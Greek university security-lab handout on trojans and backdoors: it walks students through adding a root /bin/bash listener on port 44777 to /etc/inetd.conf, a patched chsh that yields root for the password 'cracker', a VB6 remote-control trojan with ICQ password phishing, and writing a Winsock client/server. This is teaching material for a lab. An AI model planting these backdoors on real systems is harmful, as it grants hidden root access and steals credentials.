Εργαστήριο Ασφάλειας Υπολογιστικών Συστηµάτων και ικτύων



Σχετικά έγγραφα
Άσκηση 3. Θέµατα κακόβουλων προγραµµάτων

ιαχείριση Πληροφοριών στο ιαδίκτυο

Διαχείριση Πληροφοριών στο Διαδίκτυο. Εργαστήριο 1

CYGWIN Οδηγίες Χρήσης (Συγγραφέας: Γιώργος ούκας)

ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C

ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C

Γ3.3.Μ7 ΕΠΑΝΆΛΗΨΗ ΜΈΡΟΣ Α: ΈΝΝΟΙΕΣ ΤΙ ΕΊΝΑΙ Η VISUAL BASIC ΤΙ ΜΠΟΡΟΎΜΕ ΝΑ ΚΆΝΟΥΜΕ ΜΕ ΤΗ VISUAL BASIC ΑΝΤΙΚΕΊΜΕΝΑ: ΦΌΡΜΑ ΚΑΙ ΧΕΙΡΙΣΤΉΡΙΑ ΕΤΙΚΈΤΑ LABEL

Πως θα κατασκευάσω το πρώτο πρόγραμμα;


ΗY335: Δίκτυα Υπολογιστών Χειμερινό Εξάμηνο Τμήμα Επιστήμης Υπολογιστών Πανεπιστήμιο Κρήτης Διδάσκουσα: Μαρία Παπαδοπούλη


ΕΡΓΑΣΤΗΡΙΟ 3: Προγραμματιστικά Περιβάλλοντα και το Πρώτο Πρόγραμμα C

Εργαστήριο Δομημένος Προγραμματισμός (C#) Τμήμα Μηχανολογίας Νικόλαος Ζ. Ζάχαρης Καθηγητής Εφαρμογών

ΚΕΦΑΛΑΙΟ Web Services

Epsilon Net PYLON Platform

Ρύθμιση Stylitis-10+ WiFi

Συνοπτικό εγχειρίδιο χρήσης του Microsoft Visual Studio 2010

Απομακρυσμένη Πρόσβαση και Εντολές Ελέγχου και Υποστήριξης

Οδηγός γρήγορης εγκατάστασης. (Για Windows και MAC) Ασύρματη κάμερα IP HD για εξωτερικούς χώρους v3.14

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, PIRCH 32 v0.92b

Οδηγός γρήγορης εγκατάστασης. (Για Windows και MAC) Ασύρματη κάμερα IP HD περιστροφής / κλισης για εσωτερικούς χώρους v3.14

Hase οδηγίες χρήσης.

Ενηµερώσεις λογισµικού Οδηγός χρήσης

ΠΑΝΕΠΙΣΤΗΜΙΟ ΙΩΑΝΝΙΝΩΝ ΤΜΗΜΑ ΜΑΘΗΜΑΤΙΚΩΝ

Συγχρηµατοδοτούµενο από το ΥΠΕΠΘ και την Ευρωπαϊκή Ένωση

ΠΡΟΓΡΑΜΜΑΤΙΣΤΙΚΕΣ ΤΕΧΝΙΚΕΣ Σύντομη εισαγωγή στο εργαστήριο

Στοιχεία Προγραμματισμού Σε Γραφικό Περιβάλλον Φύλλο εργασίας 1 ο

ΕΓΚΑΤΑΣΤΑΣΗ ΣΥΝ ΕΣΗΣ DIAL-UP ΣΕ ΛΕΙΤΟΥΡΓΙΚΟ ΣΥΣΤΗΜΑ WINDOWS XP

Οδηγίες εγκατάστασης εφαρµογής διαβίβασης εντολών Χ.Α.Α. µέσω της EUROCORP Χρηµατιστηριακής Σελίδα 1 από 11

Οδηγός γρήγορης εγκατάστασης. Ασύρματη κάμερα. IP MJPEGγια εξωτερικούς χώρους V3.14

Μεταφορά Αρχείων µε χρήση της Υπηρεσίας FTP σελ. 1

Linux με τη χρήση κονσόλας

Hase οδηγίες χρήσης.

Σύντομη περιγραφή 5. Για να ξεκινήσετε 6. Οι οθόνες του προγράμματος 8. Εγκατάσταση προγράμματος 6 Δημιουργία κωδικών χρήστη 7

Εργαστήριο Δομημένος Προγραμματισμός (C#) Τμήμα Μηχανολογίας Νικόλαος Ζ. Ζάχαρης Καθηγητής Εφαρμογών

Αν παρ όλα αυτά αντιμετωπίζετε πρόβλημα, επικοινωνήστε με το Κέντρο Δικτύου της ΑΣΠΑΙΤΕ Τηλ , , ,

(3) Από την εργαλειοθήκη επιλέξτε το εργαλείο «ετικέτας (Label)». Δημιουργήστε μια ετικέτα στην φόρμα σας.

User Name : admin. XMEYE AHD_GN_AHR_short_manual_gr

Ράβδος Εργαλείων, σχεδόν τα ίδια εργαλεία και εικονίδια υπάρχουν όπως στα άλλα προγράμματα που έχετε μάθει μέχρι σήμερα.

Χρήση του Office 365 σε iphone ή ipad

Ενηµερώσεις λογισµικού Οδηγός χρήσης


ΜICROSOFT VISUAL STUDIO Eργ 1: Ανάπτυξη απλής εφαρµογής: Solutions, Projects, GUI, Events, Debugging. Εισαγωγή

Πλατφόρµα Ασύγχρονης Τηλεκπαίδευσης eclass 2.0. Οδηγίες Αναβάθµισης (Upgrade) Αθήνα, 1 Ιουνίου Εισαγωγή

Α)Εγκατάσταση του προγράµµατος

Προγραμματιστικό Περιβάλλον

ΕΡΓΑΣΤΗΡΙΟ FRONT PAGE 3

Οδηγίες για την εγκατάσταση του πακέτου Cygwin

Εργαστήριο Δομημένος Προγραμματισμός (C#) Τμήμα Μηχανολογίας Νικόλαος Ζ. Ζάχαρης Καθηγητής Εφαρμογών

MICROSOFT OFFICE 2003 MICROSOFT WORD 2003

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, 2000 INTERNET PHONE

ΔΗ Μ Ι Ο ΥΡ Γ Ι Α W I K I με τ η χρήση τ η ς υπ ηρεσίας h t t p : / id ot.com /

Οδηγός Εγκατάστασης και Χρήσης του Arebas Easy

Εγκατάσταση του PiNet για διαχείριση εργαστηρίου με Raspberry Pi. Συγγραφέας: Τριχόπουλος Γιώργος Δεκέμβριος 2016

Τεχνικές αλλαγές στις εκδόσεις

Σύνδεση στο δίκτυο του Πανεπιστηµίου µέσω modem (dial-up πρόσβαση) σελ. 1

ΕΓΧΕΙΡΙ ΙΟ ΡΥΘΜΙΣΕΩΝ ΓΙΑ ΤΗΝ ΠΡΟΣΒΑΣΗ ΣΕ ΗΛΕΚΤΡΟΝΙΚΟΥΣ ΠΟΡΟΥΣ ΙΚΤΥΟ ΒΙΒΛΙΟΘΗΚΩΝ ΤΟΥ ΙΝΣΤΙΤΟΥΤΟΥ ΘΕΡΒΑΝΤΕΣ

ηµιουργία αντιγράφων ασφαλείας και επαναφορά Οδηγός χρήσης

ΜΑΘΗΜΑ 10 Ο ΟΡΓΑΝΩΣΗ ΤΗΣ Β ΓΙΑ ΧΡΗΣΤΕΣ (NON-EXPERTS) Α. ΗΜΙΟΥΡΓΙΑ ΠΙΝΑΚΑ ΕΠΙΛΟΓΩΝ 1. TOOLS DATA UTILITIES SWITCHBOARD MANAGER YES

2.1. Οι λογαριασµοί χρηστών Σύνδεση (login) και αποσύνδεση (logout)

Αποστολή και λήψη μέσω SMARTER MAIL

Εγχειρίδιο χρήσης συστήματος ηλεκτρονικής αλληλογραφίας της Ελληνικής Ομοσπονδίας Μπριτζ

ΕΝΤΑΞΗ ΣΤΑΘΜΟΥ ΕΡΓΑΣΙΑΣ ΣΕ DOMAIN

Ανάπτυξη εφαρμογής Input-Output

ηµιουργία αντιγράφων ασφαλείας και επαναφορά Οδηγός χρήσης

BHMATA ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ ΣΤΟ 3S/I.T.P.

ΡΥΘΜΙΣΕΙΣ ΓΙΑ ΔΥΝΑΜΙΚΟ IP

Χρήση του Office 365 σε τηλέφωνο Android

ιαδικασία εγκατάστασης - αναβάθµισης MS SQL Server 2014 Express Edition για SingularLogic Control, Accountant, Λογιστικά

ηµιουργία αντιγράφων ασφαλείας και επαναφορά

ΟΔΗΓΙΕΣ ΕΓΚΑΤΑΣΤΑΣΗΣ Α2Α

ΤΕΙ Πελοποννήσου Τμήμα Πληροφορικής. Οδηγίες Εγκατάστασης VPN Σύνδεσης στο ΤΕΙ Πελοποννήσου

Οδηγός γρήγορης εκκίνησης

Σύντομη παρουσίαση των εργαλείων/εντολών telnet, ping, traceroute nslookup και nmap, zenmap

Οδηγός Εγκατάστασης Pylon Auto Moto Cube

Οδηγίες EQL Desktop (rev ) ΣΥΝ ΕΣΗ S-710 ΜΕ ΚΑΛΩ ΙΟ USB ΠΡΟΚΑΤΑΡΚΤΙΚΕΣ ΕΡΓΑΣΙΕΣ

Οδηγίες χρήσης Πώς να χρησιμοποιήσετε το FastBanner

MANAGER SIDE BAR. Μία άλλη λειτουργία είναι το ξυπνητήρι. Μπορείτε να ορίσετε τον χρόνο υπενθύμισης. Μετά την λήξη του χρόνου θα ειδοποιηθείτε ηχητικά

Αντίγραφα ασφαλείας και επαναφορά Οδηγίες χρήσης

ARTius με PostgreSQL

ΠΑΝΕΠΙΣΤΗΜΙΟ ΜΑΚΕΔΟΝΙΑΣ ΟΙΚΟΝΟΜΙΚΩΝ ΚΑΙ ΚΟΙΝΩΝΙΚΩΝ ΕΠΙΣΤΗΜΩΝ ΤΜΗΜΑ ΟΙΚΟΝΟΜΙΚΩΝ ΕΠΙΣΤΗΜΩΝ

ΠΡΟΓΡΑΜΜΑΤΙΣΜΟΣ Η/Υ. Ενότητα: Χρήση εργαλείων Εικόνων, Εντολών και Ετικετών ΚΥΡΟΠΟΥΛΟΣ ΚΩΝΣΤΑΝΤΙΝΟΣ. Τμήμα Διοίκηση Επιχειρήσεων (Κοζάνη)

Δραστηριότητα 3: Ρυθμίσεις Oικιακής Ομάδας Τοπικού Δικτύου Η/Υ σε WINDOWS 7 & 8

ΟΔΗΓΙΕΣ ΣΥΝΔΕΣΗΣ ΣΤΟ ΔΙΚΤΥΟ ΤΟΥ ΟΠΑ ΑΠΟ ΕΞΩΤΕΡΙΚΟ ΠΑΡΟΧΟ (ΥΠΗΡΕΣΙΑ VPN) Windows 8, Windows 7, Windows Vista, Windows XP

Σύντοµο Εγχειρίδιο Χρήσης. του Λογισµικού Στατιστικής Επεξεργασίας. SPSS for Windows v. 8.0

To περιβάλλον Ανάπτυξης εφαρμογών της Visual Basic 2008 Express Edition

Ειδικά Θέματα Παραμετροποίησης. Ασφάλεια Εφαρμογής Εναρμόνιση με τον κανονισμό GDRP. Data Communication A.E.

Οδηγός Χρήσης της Υπηρεσίας Τηλεομοιότυπου (RightFax Fax Service) Web Utility. (διαδικτυακή εφαρμογή)

ΤΕΧΝΟΛΟΓΙΚΟ ΠΑΝΕΠΙΣΤΉΜΙΟ ΚYΠΡΟΥ

Smart Notebook Software Installer 2014 ΟΔΗΓΟΣ ΕΓΚΑΤΑΣΤΑΣΗΣ

1. O FrontPage Explorer

Κοινή χρήση πόρων με τα Windows XP

Μόλις επανεκκινηθεί το inetd, η υπηρεσία θα απενεργοποιηθεί. Μπορείτε να απενεργοποιήσετε το inetd με την εντολή:

Special edition of the Technical Chamber of Greece on Video Conference Services on the Internet, 2000 WEBPHONE

Οδηγός σύνδεσης στο δίκτυο του ΤΕΠΑΚ μέσα από την υπηρεσία απομακρυσμένης πρόσβασης VPN Τεχνολογικό Πανεπιστήμιο Κύπρου

ΑΣΚΗΣΗ 1: TO ΠΕΡΙΒΑΛΛΟΝ ΕΡΓΑΣΙΑΣ DEV-C++

ΕΡΓΑΣΤΗΡΙΟ 1: 1 Εισαγωγή, Χρήσιμες Εφαρμογές

server : Ο υπολογιστής του καθηγητή που θέλουμε να ελέγχει τους υπόλοιπους του εργαστηρίου client : Οι υπολογιστές των μαθητών

1. Εγκατάσταση του NetMeeting

Οδηγίες εγκατάστασης και χρήσης Java σε προσωπικό υπολογιστή

Transcript:

Εργαστήριο Ασφάλειας Υπολογιστικών Συστηµάτων και ικτύων Άσκηση 3 Τα λεγόµενα backdoors είναι προβλήµατα που υπάρχουν στο σύστηµα λόγω προγραµµατιστικού λάθους ή λάθους ρύθµισης των υπηρεσιών ή τον προγραµµάτων που εκτελούνται στο σύστηµα. Επιτρέπουν την πρόσβαση σε τρίτους οι οποίοι τις περισσότερες φορές καταφέρνουν να σπάσουν την ασφάλεια του συστήµατος και να αποκτήσουν root (administrator) δικαιώµατα. Για να είναι όµως σίγουροι ότι θα µπορούν να έχουν πρόσβαση στο σύστηµα, αφού ο διαχειριστής µπορεί να ανακαλύψει το πρόβληµα και να το διορθώσει, χρησιµοποιούν τα λεγόµενα Trojan horses (δούρειοι ίπποι). Τα Trojans επιτρέπουν µια µη εξουσιοδοτηµένη κρυφή πρόσβαση (κυρίως ως root) την οποία τη γνωρίζει µόνο αυτός που το έχει εγκαταστήσει. Τα Trojans χωρίζονται σε δυο κατηγορίες 1. Client Server Trojans Τα Trojans µπορεί να συµπεριφέρονται ως προγράµµατα του συστήµατος (web servers, ftp servers κ.λ.π.). Γενικά ανοίγουν κάποιο port στο tcp πρωτόκολλο και λειτουργούν ως servers. ίνοντας όµως την κατάλληλη εντολή (request) τρέχουνε το κέλυφος ως root και σε αφήνουν να έχεις πλήρη πρόσβαση στο σύστηµα. Άλλου είδους Trojans ακούνε σε unprivileged ports (σε ports δηλαδή που δεν χρησιµοποιούνται από προγράµµατα). Επίσης, µπορούν να ακούνε και στο icmp πρωτόκολλο κάτι το οποίο δεν γίνεται εύκολα αντιληπτό από τον διαχειριστή του συστήµατος. Όταν γίνεται σύνδεση στο Internet, τότε αυτόµατα χρησιµοποιούνται µερικές θύρες από του υπολογιστή για την επικοινωνία του. Οι θύρες αυτές δεν είναι τίποτε άλλο παρά ακέραιοι αριθµοί που χαρακτηρίζουν την κάθε εφαρµογή του υπολογιστή για την επικοινωνία του µε τους υπόλοιπους υπολογιστές. Με την εντολή netstat a από το γραµµή εντολών του DOS µπορείτε να δείτε ποιες θύρες δεν χρησιµοποιούνται και ποιες είναι σε χρήση από κάποια εφαρµογή. Όπως απεικονίζεται στο παραπάνω παράδειγµα η θύρα 1067 του υπολογιστή σας χρησιµοποιείται (established) από τον browser για την αναπαράσταση της ιστιοσελίδας του in.gr ενώ η θύρα 14374 είναι ανοιχτή (Listening) και µπορεί αν χρησιµοποιηθεί από µία εφαρµογή. Ένα πρόγραµµα Trojan µπορεί να ανοίξει µια θύρα του υπολογιστή για να επικοινωνεί µε τον υπολογιστή του χρήστη που επιτίθεται. Έτσι ο κακόβουλος χρήστης µπορεί να επικοινωνήσει µε την server εφαρµογή που έχει σταλθεί στον ανυποψίαστο χρήστη θύµα, και να καλέσει στην προκειµένη περίπτωση κλήσεις συστήµατος από τον υπολογιστή του παίρνοντας τον έλεγχο του υπολογιστή στα χέρια του. 2. Internal Trojans Ένα εσωτερικό Trojan µπορεί να είναι κάποιο εκτελέσιµο αρχείο το οποίο όταν το τρέξει οποιαδήποτε ή κάποιος συγκεκριµένος χρήστης, αυτό να του δώσει δικαιώµατα διαχειριστή συστήµατος. Επίσης µπορεί να είναι κάποιο patched (αλλαγµένο) εκτελέσιµο συστήµατος (π.χ bash, finger, passwd κ.λ.π.) που µε την κατάλληλη αίτηση (εντολή) να δίνει δικαιώµατα superuser. Α. Παράδειγµα χρήσης ενός Trojan horse στο UNIX

Ας φανταστούµε πως κάποιος τρίτος έχει κατορθώσει εκµεταλλευόµενος ένα backdoor ασφαλείας του συστήµατος να έχει πρόσβαση superuser στο σύστηµα. Για να είναι σίγουρος ότι δεν θα χάσει την πρόσβαση αυτή εγκαθιστά ένα απλό Trojan στο σύστηµα που θα του επιτρέπει πλήρη δικαιώµατα superuser οποιαδήποτε στιγµή το επιθυµήσει, παραµένοντας «αόρατος» στο σύστηµα (δηλαδή δεν καταγράφετε σε κανένα αρχείο η είσοδός του). Ο πιο απλός τρόπος να εγκαταστήσει κάποιος ένα Trojan (client-server) σε ένα unix σύστηµα είναι να προσθέσει µια εντολή στο αρχείο /etc/inetd.conf το οποίο θα εκτελεί ένα shell (κέλυφος) µόλις γίνει η σύνδεση στην tcp πόρτα που έχει οριστεί. Συνδεθείτε µέσω της υπηρεσίας ssh ως root στο σύστηµα που βρίσκετε δίπλα από το δικό σας, π.χ. ssh l root 10.0.0.2 (για να συνδεθείτε π.χ στο sec2) Ανοίξτε µε κάποιον editor to αρχείο /etc/inetd.conf Το inetd.conf είναι το αρχείο ρυθµίσεων του inetd (internet ``super-server''). Το inetd µπορεί να διαχειριστεί πολλούς servers σαν µία εφαρµογή (να τους κλείσει, να τους ανοίξει, να τους ρυθµίσει σε ποια πόρτα να ακούνε, κλπ). Για περισσότερες πληροφορίες για το inetd εκτελέστε man inetd) και προσθέστε στο τέλος του αρχείου τη γραµµή 44777 stream tcp nowait root /bin/bash bash i Επεξήγηση 44777 = (πορτα) stream = (τύπος του socket) tcp = το πρωτόκολλο nowait = υποδηλώνει πως ο server πρέπει να παρέχει συνέχεια συνδέσεις στην πόρτα root = το όνοµα της ιδιοκτησίας του server (στο παράδειγµα µας είναι ο root για να έχουµε πλήρη δικαιώµατα) /bin/bash = Την εφαρµογή που θα εκτελέσει ο server bash i = Παράµετροι της εφαρµογής Εκτελέστε την εντολή killall HUP inetd H εντολή killall HUP «σκοτώνει και επανεκκινεί» την εφαρµογή inetd έτσι ώστε η δεύτερη να διαβάσει το αρχείο ρυθµίσεων inetd.conf και να εκτελέσει την γραµµή που εισάγαµε. Αποσυνδεόµαστε από τον αποµακρυσµένο υπολογιστή και δοκιµάζουµε από το σταθµό εργασίας µας να δούµε εάν το Trojan που εγκαταστήσαµε λειτουργεί. Συνδεόµαστε µε την εφαρµογή telnet στην πόρτα που ορίσαµε telnet «υπολογιστής_µε_το_trojan» «πόρτα» (π.χ telnet 10.0.0.1 44777) Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. Εάν δούµε κάτι τέτοιο στην οθόνη µας σηµαίνει πως το trojan µας δουλεύει. Πλέον µπορούµε να εκτελούµε εντολές σαν να είµαστε superuser. Κάνοντας w ή who δεν φαίνετε ότι έχουµε συνδεθεί. Είµαστε εντελώς αόρατοι στο σύστηµα. Στο τέλος κάθε εντολής πρέπει να προσθέτουµε και το ; έτσι ώστε να δηλώνουµε πως τελείωσε η σύνταξή της, π.χ ls; Εκτελώντας την εντολή netstat tlp; µπορούµε να δούµε το trojan µας να έχει ανοίξει το tcp port που του έχουµε ορίσει. Φυσικά έτσι µπορεί ο πραγµατικός administrator του συστήµατος να ανακαλύψει πιθανά εγκατεστηµένα client-server trojans Βγείτε από την υπηρεσία telnet και συνδεθείτε στον υπολογιστή που δηµιουργήσατε το trojan. ιαγράψτε τη γραµµή που είχατε προσθέσει στο /etc/inetd.conf και επανεκκινήστε τον super server inetd. Στη συνέχεια υποθέτουµε πως κάποιος τρίτος θέλει να εγκαταστήσει ένα εσωτερικο trojan σε κάποιο εκτελέσιµο αρχείο έτσι ώστε όταν το εκτελέσει από user να γίνει superuser. Φυσικά για να εγκαταστήσει ενός τέτοιου είδους trojan πρέπει κατά την εγκατάσταση να έχει δικαιώµατα superuser.

Στο παράδειγµα µας έχουµε αλλάξει το εκτελέσιµο chsh µε ένα δικό µας το οποίο κάνει την ίδια ακριβώς λειτουργία µε το πραγµατικό αρχείο, αλλά όταν δοθεί συγκεκριµένος κωδικός αυτόµατα εκτελείται µε δικαιώµατα root το /bin/bash. *To chsh αλλάζει το αρχικό κέλυφος του χρήστη σύµφωνα µε την προσωπική προτίµησή του (π.χ. bash,csh,ksh). Συνδεόµαστε ως user σε έναν υπολογιστή µε την υπηρεσία ssh. ssh 10.0.0.5 l sec5 $ Εκτελούµε την εφαρµογή chsh $chsh Password: Εάν δώσουµε τον πραγµατικό κωδικό του χρήστη που έχουµε συνδεθεί θα µας δοθεί η δυνατότητα να επιλέξουµε το κέλυφος που επιθυµούµε Enter the new value, or press return for the default Login Shell [/bin/bash]: $ Εάν όµως εκτελέσουµε το chsh και για κωδικό βάλουµε τον κωδικό cracker, αυτόµατα θα εκτελεστεί το /bin/bash µε δικαιώµατα root! $chsh Password: cracker # whoami root Β. Παράδειγµα χρήσης ενός Trojan horse στα Windows Παρακάτω σας δίνεται ένα πρόγραµµα Trojan horse που έχει υλοποιηθεί σε VB6.0 περιβάλλον. Παρακολουθήστε τη λειτουργία του εκτελώντας τα παρακάτω βήµατα: 1. Συνεννοηθείτε πρώτα µε τον χρήστη ενός άλλου υπολογιστή που βρίσκεται στο δίκτυο του εργαστηρίου να εκτελέσει το αρχείο priorityserver.exe που θα βρει στο φάκελο VBTrojan που βρίσκεται στην επιφάνεια εργασίας 2. Μάθετε την IP διεύθυνση του υπολογιστή-θύµα 3. Εκτελέστε το πρόγραµµα priority.exe που βρίσκεται στο φάκελο VBTrojan στην επιφάνεια εργασίας σας Αποτέλεσµα εκτέλεσης από τη µεριά του επιτιθέµενου... Μετά την εκτέλεση του priority.exe αυτόµατα εµφανίζεται στην οθόνη σας η φόρµα που θα χρησιµοποιήσετε για την επίθεσή σας, όπως αυτή απεικονίζεται παρακάτω.

1. Βεβαιωθείτε ότι ο χρήστης-θύµα έχει εκτελέσει το αρχείο priorityserver.exe 2. Επιλέξτε File\Connect από το menu και συµπληρώστε στο TextBox την IP διεύθυνση του χρήστη-θύµα 3. Πατήστε Connect Χρησιµοποιώντας το menu To Trojan σας, έχει τις εξής δυνατότητες: Από το Menu Tools: Chat: Ανοίγει ένα παράθυρο chat επικοινωνίας µε το χρήστη-θύµα Send KeyStrokes: Στέλνει εντολές από το πληκτρολόγιο στον χρήστη-θύµα ICQPassJack: Εάν χρησιµοποιείτε το ICQ, µπορείτε να πληκτρολογήσετε το ICQ User Name του και πατήστε DONE, τότε στον χρήστη-θύµα θα εµφανιστεί ένα ψεύτικο TextBox που θα ζητάει να δηλώσει το password που χρησιµοποιεί για το ICQ στέλνοντας το αυτόµατα σε εσάς. Run Application: Εκτελεί µία εφαρµογή στο υπολογιστή-θύµα. Παράδειγµα : οκιµάστε να πληκτρολογήσετε στο textbox που βλέπετε C:\windows\system32\cmd.exe και δείτε από την µεριά του χρήστη-θύµα τι συµβαίνει Send Msg: Εµφανίζει ένα µήνυµα στο χρήστη-θύµα Από το menu Commands

Hide Taskbar: Κρύβει την Taskbar του χρήστη-θύµα Disable Ctrl-Alt-Del: Απενεργοποιεί την επιλογή Alt-Ctrl-Del στον χρήστη-θύµα Ping Pong Virus: Εµφανίζει ένα µπαλάκι να πηγαινοέρχεται στη οθόνη του χρήστη-θύµα. Επιπλέον απενεργοποιείται το Alt-Ctrl-Del Reboot: Κάνει επανεκκίνηση του υπολογιστή-θύµα Run Screensaver: Ενεργοποιείται το screen-saver του υπολογιστή-θύµα Show Shutdown Menu: Εµφανίζεται το menu επιλογής για το κλείσιµο του υπολογιστή Γ. Κατασκευή ενός Trojan horse για µια εφαρµογή συζήτησης (chat) σε VB6.0 Για την εφαρµογή αυτήν θα χρειαστούν δύο προγράµµατα, ένα για τον client και ένα για τον server. Κατασκευή της server εφαρµογής 1. ηµιουργήστε ένα νέο Standar Exe project 2. Αλλάξτε το όνοµα τη φόρµας από τα properties που βρίσκονται δεξιά σε frmserver 3. Αλλάξτε την ιδιότητα caption της φόρµας σε TCP Server 4. Σχεδιάστε ένα Winsock Control στην φόρµα σας και αλλάξτε το όνοµα του σε tcpserver 5. Προσθέστε δύο TextBox στην φόρµα σας. Ονοµάστε το πρώτο txtsenddata και το δεύτερο txtoutpt 6. Προσθέστε τον παρακάτω κώδικα στην φόρµα σας: Private Sub Form_Load() Καθορίστε µία θύρα της επιλογής σας για τον server tcpserver.localport = 8900 Καθορίζει τον server να ακούει σε αυτήν την θύρα tcpserver.listen Private Sub tcpserver_connectionrequest _ (ByVal requestid As Long) Εξετάζει αν το winsock είναι κλειστό. Αν όχι τότε κλείνει την σύνδεση πριν δεχτεί µία νέα σύνδεση If tcpserver.state <> sckclosed Then _ tcpserver.close έχεται την αίτηση για σύνδεση tcpserver.accept requestid

Private Sub txtsenddata_change() Το textbox στοιχείο µε όνοµα txtsenddata περιέχει τα δεδοµένα που στέλνονται. Όποτε ο χρήστης γράψει κάτι στο textbox τότε τα δεδοµένα αυτά στέλνονται στην client εφαρµογή µέσω της µεθόδου SendData tcpserver.senddata txtsenddata.text Private Sub tcpserver_dataarrival _ (ByVal bytestotal As Long) Καθορισµός µίας µεταβλητής για τα ερχόµενα δεδοµένα και τα εµφανίζει στο textbox µε όνοµα txtoutput µέσω της µεθόδου getdata Dim strdata As String tcpserver.getdata strdata txtoutput.text = strdata Κατασκευή της Client εφαρµογής 1. ηµιουργήστε ένα νέο Standar Exe project 2. Αλλάξτε το όνοµα τη φόρµας από τα properties που βρίσκονται δεξιά σε frmclient 3. Αλλάξτε την ιδιότητα caption της φόρµας σε TCP Client 4. Σχεδιάστε ένα Winsock Control στην φόρµα σας και αλλάξτε το όνοµα του σε tcpclient 5. Προσθέστε δύο TextBox στην φόρµα σας. Ονοµάστε το πρώτο txtsendκαι το δεύτερο txtoutpt 6. Προσθέστε ένα Command button και ονοµάστε cmdconnect 7. Αλλάξτε το caption του σε Connect 8. Προσθέστε τον παρακάτω κώδικα στην φόρµα σας Σηµαντικό!!! Φροντίστε να αλλάξετε το tcpclient.remotehost και να τοποθετήσετε την IP διεύθυνση που βρίσκεται η server εφαρµογή Private Sub Form_Load() Το όνοµα του Winsock Control είναι tcpclient. Σηµείωση:Για να καθορίσετε τον χρήστη µε τον οποίο θέλετε να συνδεθείτε, µπορείτε να χρησιµοποιήσετε είτε την IP διεύθυνσή του (π.χ.: 121.111.1.1 ) είτε το όνοµα του υπολογιστή όπως φαίνεται παρακάτω tcpclient.remotehost = "RemoteComputerName" φροντίστε ώστε η θύρα να είναι ίδια µε αυτήν που βρίσκεται στην server εφαρµογή tcpclient.remoteport = 8900 Private Sub cmdconnect_click() Χρησιµοποιείται η µέθοδος Connect για να αρχικοποιήσει µία σύνδεση tcpclient.connect Private Sub txtsenddata_change() tcpclient.senddata txtsenddata.text Private Sub tcpclient_dataarrival _

(ByVal bytestotal As Long) Dim strdata As String tcpclient.getdata strdata txtoutput.text = strdata. Κατασκευή ενός Trojan horse που ανοίγει και κλείνει το cd-rom σε VB6.0 Στο σηµείο αυτό καλείστε να κατασκευάσετε ένα πρόγραµµα Trojan horse που να ανοιγοκλείνει το cd-rom ενός υπολογιστή θύµα. Προσπαθήστε να καταλάβετε καλά τον κώδικα της ενότητας Γ ώστε να βρείτε κοινά σηµεία που θα χρησιµοποιήσετε. Επίσης, στο παράρτηµα της άσκησης υπάρχει σχετική θεωρία που πρέπει να διαβάσετε για να αντιµετωπίσετε το πρόβληµα.

Κλήσεις συστήµατος χρησιµοποιώντας τη Visual Basic 6.0 DLLs και Windows API ΠΑΡΑΡΤΗΜΑ Όταν απαιτούνται δυνατότητες πέρα από τον καθαρό προγραµµατισµό και τα συνηθισµένα στοιχεία ελέγχου που παρέχει η Microsoft Visual Basic, καλούνται διαδικασίες (procedures) που περιέχονται µέσα στις δυναµικές βιβλιοθήκες των windows (dynamic link libraries-dlls). Καλώντας τις διαδικασίες των DLL αρχείων, παρέχεται αυτόµατα πρόσβαση σε χιλιάδες διαδικασίες που απαρτίζουν την ραχοκοκαλιά των Windows, καθώς και σε άλλες ρουτίνες οι οποίες είναι γραµµένες σε άλλες γλώσσες προγραµµατισµού. Οι βιβλιοθήκες αυτές µπορούν να συνδέονται σε εφαρµογές και να τρέχουν κατά την στιγµή που εκτελείται το πρόγραµµα και όχι κατά την στιγµή που µεταγλωττίζεται το πρόγραµµα. Τα πλεονεκτήµατα αυτής της ιδιαιτερότητας των DLLs είναι ότι οι βιβλιοθήκες αυτές µπορούν να αναβαθµίζονται ανεξάρτητα από την εφαρµογή, καθώς υπάρχει η δυνατότητα πολλές εφαρµογές να µοιράζονται την ίδια βιβλιοθήκη. Το λειτουργικό σύστηµα Microsoft Windows απαρτίζεται από DLLs και άλλες εφαρµογές που καλούν αυτές τις ρουτίνες για να απεικονιστούν τα γραφικά, να γίνεται η διαχείριση της µνήµης ή απλά να εκτελεστούν άλλες εργασίες. Μερικές από αυτές µπορούν να προσπελαστούν µέσω του Windows API (Application Programming Interface). Αποκτώντας πρόσβαση στο Microsoft Windows API Μπορείτε να αποκτήσετε πρόσβαση στα Windows API (ή άλλα εξωτερικά DLLs) δηλώνοντας τις εξωτερικές αυτές διαδικασίες, µέσα στην εφαρµογή της Visual Basic που προγραµµατίζετε. Μετά τη δήλωση της διαδικασίας µπορείτε να την χρησιµοποιήσετε σαν οποιαδήποτε άλλη λειτουργία της γλώσσας προγραµµατισµού. Το πιο ευρέως χρησιµοποιούµενο σύνολο εξωτερικών διαδικασιών είναι αυτό που απαρτίζει το λειτουργικό σύστηµα των Windows. Το Windows API περιέχει χιλιάδες συναρτήσεις, υπορουτίνες, τύπους και σταθερές που µπορείτε να δηλώσετε και να τις χρησιµοποιήσετε στις εφαρµογές σας. Οι διαδικασίες αυτές, είναι γραµµένες σε γλώσσα C, οπότε πρέπει να δηλωθούν πριν ξεκινήσετε την εφαρµογή σας σε VB ώστε να µπορείτε να τις χρησιµοποιήσετε. Οι δηλώσεις των διαδικασιών αυτών, µπορούν να γίνουν αρκετά περίπλοκες. Ενώ µπορείτε οι ίδιοι να δηλώσετε αυτές τις διαδικασίες, ο ευκολότερος τρόπος να αποκτήσετε πρόσβαση στο Windows API προκύπτει από την χρήση προκαθορισµένων δηλώσεων που υπάρχουν στην Visual Basic. Το αρχείο Win32api.txt, που βρίσκεται στον υποφάκελο \Winapi του κυρίου καταλόγου της VB,περιέχει δηλώσεις για πολλές διαδικασίες των Windows API οι οποίες χρησιµοποιούνται συχνά στην VB. Για να χρησιµοποιήσετε µία συνάρτηση, έναν τύπο, ή κάποια άλλη λειτουργία από αυτό το αρχείο, απλώς αντιγράψτε το στην δική σας VB υποµονάδα (module). Μπορείτε να δείτε και αντιγράψετε διαδικασίες από το αρχείο Win32api.txt είτε χρησιµοποιώντας την εφαρµογή API viewer, είτε φορτώνοντας το αρχείο σε οποιονδήποτε επεξεργαστή 